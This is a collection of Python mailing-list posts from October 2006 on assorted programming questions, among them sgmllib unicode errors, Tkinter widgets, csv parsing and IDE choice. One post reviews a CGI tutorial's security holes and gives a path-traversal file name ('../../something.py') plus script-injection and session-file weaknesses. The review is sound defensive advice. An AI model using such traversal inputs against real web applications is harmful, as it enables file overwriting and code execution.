From: maxerickson at gmail.com (Max Erickson)
Date: Sun, 15 Oct 2006 04:14:21 +0000 (UTC)
Subject: problem with the 'math' module in 2.5?
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<Xns985CF34C93A44maxericksongmailcom@80.91.229.5>
Message-ID: <Xns985D26BC4E02maxericksongmailcom@80.91.229.5>

Max Erickson <maxerickson at gmail.com> wrote:
> 
> Try sin(pi*0.5) to see similar behavior to cos(pi) or cos(pi*2).
> 

Uhh, switch that, cos(pi*0.5)...



From mbutscher at gmx.de  Sun Oct 22 07:20:35 2006
From: mbutscher at gmx.de (Michael Butscher)
Date: Sun, 22 Oct 2006 13:20:35 +0200
Subject: Py 2.5: Bug in sgmllib
Message-ID: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net>

Hi,

if I execute the following two lines in Python 2.5 (to feed in a 
*unicode* string):

import sgmllib
sgmllib.SGMLParser().feed(u'<a title="te&#223;t"></a>')



I get the exception:

Traceback (most recent call last):
  File "<pyshell#10>", line 1, in <module>
    sgmllib.SGMLParser().feed(u'<a title="te&#223;t"></a>')
  File "C:\Programme\Python25\Lib\sgmllib.py", line 99, in feed
    self.goahead(0)
  File "C:\Programme\Python25\Lib\sgmllib.py", line 133, in goahead
    k = self.parse_starttag(i)
  File "C:\Programme\Python25\Lib\sgmllib.py", line 285, in 
parse_starttag
    self._convert_ref, attrvalue)
UnicodeDecodeError: 'ascii' codec can't decode byte 0xdf in position 0: 
ordinal not in range(128)



The reason is that the character reference &#223; is converted to 
*byte* string "\xdf" by SGMLParser.convert_codepoint. Adding this byte 
string to the remaining unicode string fails.


Workaround (not thoroughly tested): Override convert_codepoint in a 
derived class with:

    def convert_codepoint(self, codepoint):
        return unichr(codepoint)



Is this a bug or is SGMLParser not meant to be used for unicode strings 
(it should be documented then)?



Michael


From fredrik at pythonware.com  Sun Oct  8 06:15:51 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 12:15:51 +0200
Subject: need some regular expression help
In-Reply-To: <1160302110.502512.152280@i42g2000cwa.googlegroups.com>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>	<roy-35D3AC.22300607102006@reader1.panix.com>	<mailman.41.1160277488.11739.python-list@python.org>
	<1160302110.502512.152280@i42g2000cwa.googlegroups.com>
Message-ID: <egaj4n$3e1$1@sea.gmane.org>

bearophileHUGS at lycos.com wrote:

 > The dict solution looks better, but this may be faster:

it's slightly faster, but both your alternatives are about 10x slower 
than a straightforward:

def balanced(txt):
     return txt.count("(") == txt.count(")")

</F>



From gh at gregor-horvath.com  Sat Oct 21 07:40:06 2006
From: gh at gregor-horvath.com (Gregor Horvath)
Date: Sat, 21 Oct 2006 13:40:06 +0200
Subject: The fastest search
In-Reply-To: <mailman.895.1161423841.11739.python-list@python.org>
References: <mailman.895.1161423841.11739.python-list@python.org>
Message-ID: <ehd0un$14p$1@newsreader2.utanet.at>

Fulvio schrieb:
> 
> Is there some trick to apply the best search in wise use of resources while 
> using the above said methods?
> 

measure it:

http://docs.python.org/lib/module-timeit.html

Regarding your debugger question in the seperate thread I don't know
since I am not using a debugger at all.

Most people coming from other languages are looking for a debugger and
are overlooking that in python a interactive interpreter, a good editor,
print statements and the tracebacks are all a lot of python developers need.

Small snippets of code are developed in the interpreter and when they
are working assembled in the editor. If something goes wrong a print on
the suspect place or the traceback is all I need. (of course this is
matter of taste)

-- 
  Servus, Gregor


From mail at microcorp.co.za  Tue Oct 31 08:53:29 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 31 Oct 2006 15:53:29 +0200
Subject: Tkinter Listbox string formatting question - how to kill a
	dancingsnake ?
References: <02a901c6fcbf$181c51a0$03000080@hendrik>
	<ei71k0$tkq$1@sea.gmane.org>
Message-ID: <009d01c6fcf6$75782400$03000080@hendrik>


"Fredrik Lundh" <fredrik at pythonware.com> wrote:


> instead of trying to force the listbox to behave like a multicolumn
> widget, maybe you could switch to another widget?  some alternatives include
>
>      a Text widget (you have to roll your own selection logic)

I _really_ don't feel strong enough for this, or for sticking them loose on a
canvas...

>      bwidgets multicolumn ListBox:
>          http://tkinter.unpythonic.net/bwidget/
>      tktable:
>          http://tktable.sourceforge.net/
>      something based on the wck (that's what I'd would use myself):
>          http://effbot.org/zone/wck-4.htm
>      and perhaps there's something in Pmw:
>          http://pmw.sourceforge.net
> </F>

Thanks I will check these out...

- Hendrik



From bballis at gmail.com  Tue Oct  3 08:06:10 2006
From: bballis at gmail.com (Bertrand Ballis)
Date: Tue, 3 Oct 2006 14:06:10 +0200
Subject: was python implemented as a object oriented langage at the beginning ?
Message-ID: <f3a8ca7c0610030506k2fb6040ai9e256049ebf9100e@mail.gmail.com>

Hello,

I heard a lot of people from the Ruby community claiming that Python, like
Perl, was a scripting langage
that was changed aftewards to be object compatible, and that was making it
not as good
as Ruby, object-oriented from the begenning.

Is that true ?

Thanks for your answers

Bertrand
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From steve at holdenweb.com  Sat Oct  7 03:06:29 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 07 Oct 2006 08:06:29 +0100
Subject: humble coin head or tail game script I wrote
In-Reply-To: <1160197715.045939.138760@b28g2000cwb.googlegroups.com>
References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>	<1160158803.404425.316430@h48g2000cwc.googlegroups.com>	<1160159206.781049.24930@c28g2000cwb.googlegroups.com>	<1160168295.033649.163460@k70g2000cwa.googlegroups.com>
	<1160197715.045939.138760@b28g2000cwb.googlegroups.com>
Message-ID: <eg7jjv$tte$1@sea.gmane.org>

Camellia wrote:
> Oh I get it and ashamed, thank you for explaining it to me:)
> 
> so I sould:
> ini_guess=random.randrange(2)
> ....
> for item in  list:
>     if item=='h':
>         ...
>     if item ==t':
>         ...
> 
Welcome to programming. You have learned, as many thousands have learned 
before you, how easy it is to assume correct behaviour in something that 
is, in fact, wrong. Those with an aptitude for the task accept with 
humility (no need for shame, though, as inexperience is a valid excuse) 
that they will continue to make errors they do not see.

Your response to the corrections you received implies you have a future 
as a programmer!

You might also want to do some reading about test-driven development, 
which can save some time hunting obscure bugs.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From t-meyer at ihug.co.nz  Sun Oct 22 04:30:26 2006
From: t-meyer at ihug.co.nz (Tony Meyer)
Date: Sun, 22 Oct 2006 21:30:26 +1300
Subject: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <ehf8qc$jm7$1@sea.gmane.org>
References: <mailman.915.1161491089.11739.python-list@python.org>
	<453af89e$0$12734$9b622d9e@news.freenet.de>
	<ehf8qc$jm7$1@sea.gmane.org>
Message-ID: <9F423D5F-D0EA-4DF8-81E3-A1006648DC54@ihug.co.nz>

> At the moment SourceForge is only listing one (UK) mirror for  
> mingw, and
> that seems to be down. I'm guessing something is broken, since I  
> know it
> used to be much more widely available.

Only one mirror (Kent) is available for any project.  It's been like  
this for nearly a day now, although the site status still hasn't  
changed from "online".  There are about 50 open tickets open about it  
(one would think that people that are able to find the sf.net tickets  
would be able to check for duplicates first...).

=Tony.Meyer



From kw at kevin-walzer.com  Fri Oct 20 09:21:13 2006
From: kw at kevin-walzer.com (Kevin Walzer)
Date: Fri, 20 Oct 2006 09:21:13 -0400
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <mjRZg.12486$TV3.3350@newssvr21.news.prodigy.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<mjRZg.12486$TV3.3350@newssvr21.news.prodigy.com>
Message-ID: <4538CD49.5030202@kevin-walzer.com>

James Stroud wrote:

> Also, look at my modest program at passerby.sf.net.
> Not so sophisticated, but not completely simple either.
> 

I did look at passerby--a nice app, and in a native Mac OS X version
also! (I'm a Mac developer.) Thanks for the pointer.

-- 
Kevin Walzer
Poetic Code
http://www.kevin-walzer.com


From steve at holdenweb.com  Tue Oct 24 20:05:17 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 01:05:17 +0100
Subject: strange problem
In-Reply-To: <aEv%g.8995$iM2.2455@trndny08>
References: <aEv%g.8995$iM2.2455@trndny08>
Message-ID: <ehm9lr$o8i$3@sea.gmane.org>

ken wrote:
> This file has 1,000,000+ lines in it, yet when I print the counter 'cin' 
> at EOF I get around 10,000 less lines. Any ideas?
> 
>     lineIn = 
> csv.reader(file("rits_feed\\rits_feed_US.csv",'rb'),delimiter='|')
>      for emp in lineIn:
>          cin=cin+1
>      print cin

My psychic powers indicate that double-quotes in the data are the most 
likely source of your problem. You may need to extract some statistics 
from the data to find out what's going on without examining each record 
individually.

Like, for example, longest field-length for each column.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From martin at v.loewis.de  Wed Oct 25 07:28:18 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 13:28:18 +0200
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <mailman.1162.1161769345.11739.python-list@python.org>
References: <mailman.1162.1161769345.11739.python-list@python.org>
Message-ID: <453F4A52.3050200@v.loewis.de>

Robin Becker schrieb:
> Hi, just trying to avoid wheel reinvention. I have need of an unsigned
> 32 bit arithmetic type to carry out a checksum operation and wondered if
> anyone had already defined such a beast.
> 
> Our current code works with 32 bit cpu's, but is failing with 64 bit
> comparisons; it's clearly wrong as we are comparing a number with a
> negated number; the bits might drop off in 32 bits, but not in 64.

Not sure what operations you are doing: In Python, bits never drop off
(at least not in recent versions).

If you need to drop bits, you need to do so explicitly, by using the
bit mask operations. I could tell you more if you'd tell us what
the specific operations are.

Regards,
Martin


From bj_666 at gmx.net  Thu Oct 19 12:33:25 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Thu, 19 Oct 2006 18:33:25 +0200
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
	<Xns98616CE973980duncanbooth@127.0.0.1>
	<1161252764.244873.134740@f16g2000cwb.googlegroups.com>
	<2m8k04-gfe.ln1@nb2.stroeder.com>
	<slrnejf84b.rk.horpner@FIAD06.norwich.edu>
Message-ID: <pan.2006.10.19.16.33.24.967056@gmx.net>

In <slrnejf84b.rk.horpner at FIAD06.norwich.edu>, Neil Cerutti wrote:

>> Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode
>> object. With print this is implicitly converted to string. The
>> char set used depends on your console
> 
> No, the setting of the console encoding (sys.stdout.encoding) is
> ignored.

Nope, it is not ignored.  This would not work then::

  In [2]: print 'K\xc3\xb6nig'.decode('utf-8')
  K?nig

  In [3]: import sys

  In [4]: sys.getdefaultencoding()
  Out[4]: 'ascii'


Ciao,
	Marc 'BlackJack' Rintsch


From grflanagan at yahoo.co.uk  Tue Oct 17 12:43:12 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 17 Oct 2006 09:43:12 -0700
Subject: A question about list
In-Reply-To: <1161102973.920895.141500@i42g2000cwa.googlegroups.com>
References: <1161102973.920895.141500@i42g2000cwa.googlegroups.com>
Message-ID: <1161103392.096112.82110@m7g2000cwm.googlegroups.com>


pretoriano_2001 at hotmail.com wrote:
> Hello:
> Variable 'a' has the next values:
> [[1,1],[2,2]]
> and I want to take a to b as:
> [[1,1,'='],[2,2,'=']]
> How can I do this with only one line of instruction?
> Thanks!!

>>> a = [[1,1], [2,2]]
>>> map( lambda x: x + ['='], a )
[[1, 1, '='], [2, 2, '=']]
>>>



From paul at boddie.org.uk  Tue Oct 17 07:33:43 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 17 Oct 2006 04:33:43 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
	<1160811657.449049.78940@m73g2000cwd.googlegroups.com>
	<1160843099.978973.235560@k70g2000cwa.googlegroups.com>
	<mailman.623.1161072230.11739.python-list@python.org>
Message-ID: <1161084823.907784.179150@b28g2000cwb.googlegroups.com>

Theerasak Photha skrev:
> On 14 Oct 2006 09:25:00 -0700, Paul Boddie <paul at boddie.org.uk> wrote:
>
> > Unlike Java, Python's first class functions and
> > methods are already highly useful for callback-based systems
>
> Curious: how well does the use of returning inner functions work as a
> strategy for providing effectively 'anonymous' callbacks? e.g.
>
> def outer(x):
>   def inner(y):
>     ...
>   return inner

Well enough, I'd imagine. There may be people who resent having to use
a statement to create a block of code, especially one which defines a
local name (the horror!), but as the lambda replacement discussions
showed, a sub-statement code block doesn't necessarily have an
acceptable formulation in non-Lisp-like languages. Or, at least, people
struggled to find such a formulation in Python which didn't severely
affect readability, and there are people who regard even
uncontroversial but related things as list comprehensions as being much
less readable than most other constructs in the language.

Paul



From alan.franzoni.xyz at gmail.com.invalid  Tue Oct 24 08:22:15 2006
From: alan.franzoni.xyz at gmail.com.invalid (Alan Franzoni)
Date: Tue, 24 Oct 2006 14:22:15 +0200
Subject: Change on file
References: <mailman.1060.1161690469.11739.python-list@python.org>
Message-ID: <1uzfymw6npgtq$.i9somy6b4b3o$.dlg@40tude.net>

Il Tue, 24 Oct 2006 19:47:43 +0800, Fulvio ha scritto:

> Hello,
> 
> I was thinking about use md5 check to se if a file had changes since last 
> check. Am I correct?
> Is there any other light method?

It's OK, but if you have a lot of files to check and they're large, and
changes frequent, it could put the system under severe workload.

If you just need to know if a file has changed, you can check via
date/time, or if you don't trust somebody who's got access to it (because
he could have manually altered the datetime) you could go for a simpler
algorithm, like sfv.

-- 
Alan Franzoni <alan.franzoni.xyz at gmail.com>
-
Togli .xyz dalla mia email per contattarmi.
Remove .xyz from my address in order to contact me.
-
GPG Key Fingerprint (Key ID = FE068F3E):
5C77 9DC3 BD5B 3A28 E7BC 921A 0255 42AA FE06 8F3E 


From larry.bates at websafe.com  Mon Oct 23 15:23:02 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Mon, 23 Oct 2006 14:23:02 -0500
Subject: _winreg.saveKey question
In-Reply-To: <1161630512.093547.287390@f16g2000cwb.googlegroups.com>
References: <1161630512.093547.287390@f16g2000cwb.googlegroups.com>
Message-ID: <453D1696.1050703@websafe.com>

> remotekey = _winreg.OpenKey(rhostreg, key)


Try adding the sam=_winreg.KEY_SET_VALUE parameter.

Help on built-in function OpenKey in module _winreg:

OpenKey(...)
    key = OpenKey(key, sub_key, res = 0, sam = KEY_READ) - Opens the
          specified key.

    key is an already open key, or any one of the predefined HKEY_* constants.
    sub_key is a string that identifies the sub_key to open
    res is a reserved integer, and must be zero.  Default is zero.
    sam is an integer that specifies an access mask that describes the desired
     security access for the key.  Default is KEY_READ

    The result is a new handle to the specified key
    If the function fails, an EnvironmentError exception is raised.


The default is KEY_READ so you can't update.

-Larry Bates


From aahz at pythoncraft.com  Sat Oct  7 15:26:22 2006
From: aahz at pythoncraft.com (Aahz)
Date: 7 Oct 2006 12:26:22 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45254B18.2090806@v.loewis.de> <mailman.1379.1160075929.1
	<0BQVg.138807$zy5.1859480@twister1.libero.it>
Message-ID: <eg8v0u$g3m$1@panix3.panix.com>

In article <0BQVg.138807$zy5.1859480 at twister1.libero.it>,
Giovanni Bajo <noway at sorry.com> wrote:
>
>Are you ever going to try and make a point which is not "you are not
>entitled to have opinions because you do not act"? Your sarcasm is
>getting annoying. And since I'm not trolling nor flaming, I think I
>deserve a little bit more of respect.

IMO, regardless of whether you are trolling or flaming, you are certainly
being disrespectful.  Why should we treat you with any more respect than
you give others?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From jcd at sdf.lonestar.org  Wed Oct 25 14:46:34 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Wed, 25 Oct 2006 12:46:34 -0600
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
	<eho2kq$lqc$1@aioe.server.aioe.org>
	<rkN%g.22603$ta3.2702@tornado.texas.rr.com>
Message-ID: <ehobe6$4d3$1@chiara.aioe.org>

Right you are.  I was a bit hasty.

Many thanks.

Cliff


Paul McGuire wrote:
> 
> From the original post:
> 
> "I have two lists, A and B, such that B is a subset of A."
> 



From Laundro at gmail.com  Tue Oct 31 10:38:50 2006
From: Laundro at gmail.com (LaundroMat)
Date: 31 Oct 2006 07:38:50 -0800
Subject: Help me understand this iterator
In-Reply-To: <mailman.1550.1162306433.11739.python-list@python.org>
References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>
	<ei7e0o$7lt$02$2@news.t-online.com>
	<1162306091.528097.86850@e3g2000cwe.googlegroups.com>
	<mailman.1550.1162306433.11739.python-list@python.org>
Message-ID: <1162309130.723961.62330@k70g2000cwa.googlegroups.com>

On Oct 31, 3:53 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> LaundroMat wrote:
> > That 'magic index' variable bugs me a little however. It gives me the
> > same feeling as when I see hard-coded variables.what magic index?  the variable named "index" is an argument to the
> method it's used in.

Yes, I reacted too quickly. Sorry.



From pandyacus.xspam at xspam.sbcglobal.net  Thu Oct 26 03:38:07 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Thu, 26 Oct 2006 07:38:07 GMT
Subject: To remove some lines from a file
References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
	<ehnsht$ic1$1@news.lrz-muenchen.de>
	<mailman.1186.1161793835.11739.python-list@python.org>
	<ehpkqk$hs8$1@news.lrz-muenchen.de>
Message-ID: <umz7j4jdu.fsf@sbcglobal.net>

Sebastian Busch <sebastian_busch at gmx.net> writes:

> Steve Holden wrote:
>> Sebastian Busch wrote:
>>> umut.tabak at student.kuleuven.be wrote:
>>>> ... I would like to remove two lines from a file. ...
>>> ... grep -v ...
>> ... show ...
>
> grep -v "`grep -v "commentsymbol" yourfile | head -2`" yourfile
>
>
> i frankly admit that there is also 'head' invoved ;)
>
> i really have no idea -- but i always thought that these coreutils and
> colleagues do their jobs as fast as possible, in particular faster than
> interpreted languages... however, as i posted last time, i was actually
> not aware that you have to call three of them.
>
> sebastian.
I don't have the original post to know exactly what is needed, but looks like
something that can be done by a single sed script. 

-Chetan


From hanumizzle at gmail.com  Fri Oct 13 11:58:16 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 11:58:16 -0400
Subject: IDE
In-Reply-To: <4zOXg.1918$uv5.11354@twister1.libero.it>
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
Message-ID: <463ff4860610130858y780c9870x57a845de4ac49e91@mail.gmail.com>

On 10/13/06, giuseppe <casagiuseppe2006 at libero.it> wrote:
> What is the better IDE software for python programming?

Long story short, I use Emacs 22 from CVS (text editor on steroids),
but SPE looks like a good bet.

It all depends on criteria! There's a million free variables in your request...

--- Theerasak


From and-google at doxdesk.com  Thu Oct  5 14:00:57 2006
From: and-google at doxdesk.com (and-google at doxdesk.com)
Date: 5 Oct 2006 11:00:57 -0700
Subject: CGI Tutorial
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
Message-ID: <1160071257.200774.90900@e3g2000cwe.googlegroups.com>

Clodoaldo Pinto Neto wrote:

> print '<p>The submited name was "' + name + '"</p>'

Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -> HTML output.

> open('files/' + fileitem.filename, 'w')

BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filename= '../../something.py'

> sid = cookie['sid'].value
> session = shelve.open('/tmp/.session/sess_' + sid

Bad filename use allows choice of non-session files, opening with
shelve allows all sorts of pickle weirdnesses. Just use strings.

> p = sub.Popen(str_command,

o.O

Sure this stuff may not matter for Hello World on a test server, but if
you're writing a tutorial you should ensure newbies know the Right Way
to do it from the start. The proliferation of security-oblivious PHP
tutorials is directly responsible for the disasterous amount of
script-injection- and SQL-injection-vulnerable webapps out there -
let's not have the same for Python.

-- 
And Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/



From geskerrett at hotmail.com  Tue Oct 17 15:04:56 2006
From: geskerrett at hotmail.com (geskerrett at hotmail.com)
Date: 17 Oct 2006 12:04:56 -0700
Subject: ADO with Python
In-Reply-To: <4pi94uFip1e9U1@individual.net>
References: <4pi94uFip1e9U1@individual.net>
Message-ID: <1161111896.597454.11720@m7g2000cwm.googlegroups.com>


Ralf wrote:
> Is their anybody with xperience in using the both and can provide me with
> some xamples.
>
> Thx a lot
> Ralf
I found the tutorial on this site helpful.

http://www.mayukhbose.com/python/ado/index.php



From PengYu.UT at gmail.com  Tue Oct 24 21:13:04 2006
From: PengYu.UT at gmail.com (PengYu.UT at gmail.com)
Date: 24 Oct 2006 18:13:04 -0700
Subject: How to find out the directory that the py file is in?
In-Reply-To: <mailman.1121.1161734482.11739.python-list@python.org>
References: <1161733168.997417.298450@i42g2000cwa.googlegroups.com>
	<mailman.1121.1161734482.11739.python-list@python.org>
Message-ID: <1161738784.293256.113900@m73g2000cwd.googlegroups.com>



On Oct 24, 7:01 pm, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> At Tuesday 24/10/2006 20:39, PengYu... at gmail.com wrote:
>
> >I have the following python script and some_command in the same
> >directory. I have to call the python script from that directory.
> >Otherwise, some_command won't be found. I'm wondering how to make the
> >following script working no matter what the working directory is.print

> os.path.abspath(__file__)

How to get the absolute dir name which the file is in? Is there any
function can be called easily?

Thanks,
Peng



From demian0311 at gmail.com  Wed Oct 25 21:01:31 2006
From: demian0311 at gmail.com (demian0311 at gmail.com)
Date: 25 Oct 2006 18:01:31 -0700
Subject: What's the best IDE?
In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
Message-ID: <1161824491.759664.271570@f16g2000cwb.googlegroups.com>

> What's your favorite IDE?
Vim

> What do you like about it?
If you are a very good typist you can rock with Vim.  Vi and variants
are on _every_ Unix system.  It's highly configurable, syntax
highlighting, supports scripting with Python.

> It would be fine for a begginer, right?
Not really, you'll be frustrated for about a week, you'll be productive
after that, from then on you'll keep on learning new things all the
time.



From sanzhiyan at gmail.com  Mon Oct 16 15:29:45 2006
From: sanzhiyan at gmail.com (Saizan)
Date: 16 Oct 2006 12:29:45 -0700
Subject: Need a strange sort method...
In-Reply-To: <1161025963.350716.57900@i42g2000cwa.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<mailman.586.1161023741.11739.python-list@python.org>
	<1161025963.350716.57900@i42g2000cwa.googlegroups.com>
Message-ID: <1161026985.618592.318630@k70g2000cwa.googlegroups.com>


SpreadTooThin wrote:
> > that's trivial to do with slicing, of course.  what makes you think you
> > need to do this by calling the "sort" method ?
> >
> > </F>
>
> You are of course correct.. There might be a way to do this with
> slicing 
> and i % 3

Slicing will work only with a sorted list.



From hanumizzle at gmail.com  Wed Oct 11 01:53:38 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 01:53:38 -0400
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <87vemr76fu.fsf@benfinney.id.au>
References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com>
	<87vemr76fu.fsf@benfinney.id.au>
Message-ID: <463ff4860610102253l79c94092q398746105cabf145@mail.gmail.com>

On 10/11/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:

> Why have you re-implemented (a less-functional version of) 'isinstance'?

Ignorance, I think. But the issue is resolved now. Thank you.

http://www.stanford.edu/~spqrsyc/crew/crew%20-%20ignorance.gif

"It's amazing how much easier it is for a team to work together when
no one has any idea where they're going" :)

-- Theerasak


From sybrenUSE at YOURthirdtower.com.imagination  Mon Oct  2 12:58:03 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Mon, 2 Oct 2006 18:58:03 +0200
Subject: Pythonic API design: detailed errors when you usually don't care
References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>
Message-ID: <slrnei2h8r.8iq.sybrenUSE@schuimige.stuvel.eu>

Simon  Willison enlightened us with:
> try:
>   do_something()
> except HttpError:
>   # An HTTP error occurred
> except ApplicationError:
>   # An application error occurred
> else:
>   # It worked!
>
> This does the job fine, but has a couple of problems.

> I anticipate that most people using my function won't care about the
> reason; they'll just want a True or False answer.

Then they can use an except clause that catches the superclass of all
the possible exceptions your function raises.

> Their ideal API would look like this:
>
> if do_something():
>   # It succeeded
> else:
>   # It failed

This is the C way of doing things. The problem with relying on a
return value, is that failure could go unnoticed if the value isn't
checked. This might introduce nasty bugs.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From fredrik at pythonware.com  Thu Oct  5 05:58:05 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 5 Oct 2006 11:58:05 +0200
Subject: embedding python -- windows specify problems
References: <4524cda2$1@clarion.carno.net.au> <eg2kpt$o83$1@sea.gmane.org>
Message-ID: <eg2kve$on9$1@sea.gmane.org>

> the contents and the layout of the FILE structure isn't defined

"isn't standardized", that is.

</F> 





From gagsl-py at yahoo.com.ar  Wed Oct 18 18:55:45 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 18 Oct 2006 19:55:45 -0300
Subject: Flexable Collating (feedback please)
In-Reply-To: <35kZg.6681$fl.2685@dukeread08>
References: <35kZg.6681$fl.2685@dukeread08>
Message-ID: <7.0.1.0.0.20061018192254.056e6a60@yahoo.com.ar>

At Wednesday 18/10/2006 03:42, Ron Adam wrote:

>I put together the following module today and would like some feedback on any
>obvious problems.  Or even opinions of weather or not it is a good approach.
>          if self.flag & CAPS_FIRST:
>              s = s.swapcase()

This is just coincidental; it relies on (lowercase)<(uppercase) on 
the locale collating sequence, and I don't see why it should be always so.

>          if self.flag & IGNORE_LEADING_WS:
>              s = s.strip()

This ignores trailing ws too. (lstrip?)

>          if self.flag & NUMERICAL:
>              if self.flag & COMMA_IN_NUMERALS:
>                  rex = 
> re.compile('^(\d*\,?\d*\.?\d*)(\D*)(\d*\,?\d*\.?\d*)',
>re.LOCALE)
>              else:
>                  rex = re.compile('^(\d*\.?\d*)(\D*)(\d*\.?\d*)', re.LOCALE)
>              slist = rex.split(s)
>              for i, x in enumerate(slist):
>                  if self.flag & COMMA_IN_NUMERALS:
>                      x = x.replace(',', '')
>                  try:
>                      slist[i] = float(x)
>                  except:
>                      slist[i] = locale.strxfrm(x)
>              return slist
>          return locale.strxfrm(s)

You should try to make this part a bit more generic. If you are 
concerned about locales, do not use "comma" explicitely. In other 
countries 10*100=1.000 - and 1,234 is a fraction between 1 and 2.

>      The NUMERICAL option orders leading and trailing digits as numerals.
>
>          >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2']
>          >>> collated(t, NUMERICAL)
>          ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2']

 From the name "NUMERICAL" I would expect this sorting: b2, 4abc, a5, 
a10.2, 13.5b, 20abc, a40 (that is, sorting as numbers only).
Maybe GROUP_NUMBERS... but I dont like that too much either...


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From aum at spam.me.please  Sat Oct  7 17:16:05 2006
From: aum at spam.me.please (aum)
Date: Sun, 08 Oct 2006 10:16:05 +1300
Subject: ANN: SimpleJSONRPCServer
Message-ID: <pan.2006.10.07.21.16.04.582148@spam.me.please>

Hi,

I've built a module called SimpleJSONRPCServer, which is essentially the
same as the familiar python library module SimpleXMLRPCServer, except that
it uses the JSON-RPC protocol.

For those unfamiliar with JSON-RPC - see www.json-rpc.org - it's an
alternative to XML-RPC, offering most of its capabilities, but using far
less traffic and requiring less processing time on the server and client.

For more information, downloads and a live demo, visit:
http://www.freenet.org.nz/dojo/pyjson

If any Python honchos here want to raise a PEP for it, I'd support that
fully.

Cheers
aum




From gabrielg_laburando at yahoo.com.ar  Mon Oct  2 19:05:37 2006
From: gabrielg_laburando at yahoo.com.ar (Gabriel G)
Date: Mon, 02 Oct 2006 20:05:37 -0300
Subject: where the extra space comes from on the stdout
In-Reply-To: <efmpt2$g6u$1@sea.gmane.org>
References: <Kr2dnd7zz79dfoPYnZ2dnUVZ_ridnZ2d@comcast.com>
	<efmpt2$g6u$1@sea.gmane.org>
Message-ID: <7.0.1.0.0.20061002200417.07335898@yahoo.com.ar>

At Saturday 30/9/2006 19:09, Steve Holden wrote:

> > while 1:
> >      print 'Question [Y/[N]]?',
> >      if sys.stdin.readline().strip() in ('Y','y'):
> >          #do something
> >          pass
> >
> > $ python q.py
> > Question [Y/[N]]?y
> >   Question [Y/[N]]?y
> >   Question [Y/[N]]?y
> >
>Yup. When you execute a print statement with a comma at the end it
>doesn't output the space, it simply sets a flag reminding it that there
>should be a space before the next item on the same line. If the next
>character out is a newline then the space flag is reset, but in this
>case the newline was provided by the input, so you get a space at the
>start of the next output.

You could try using
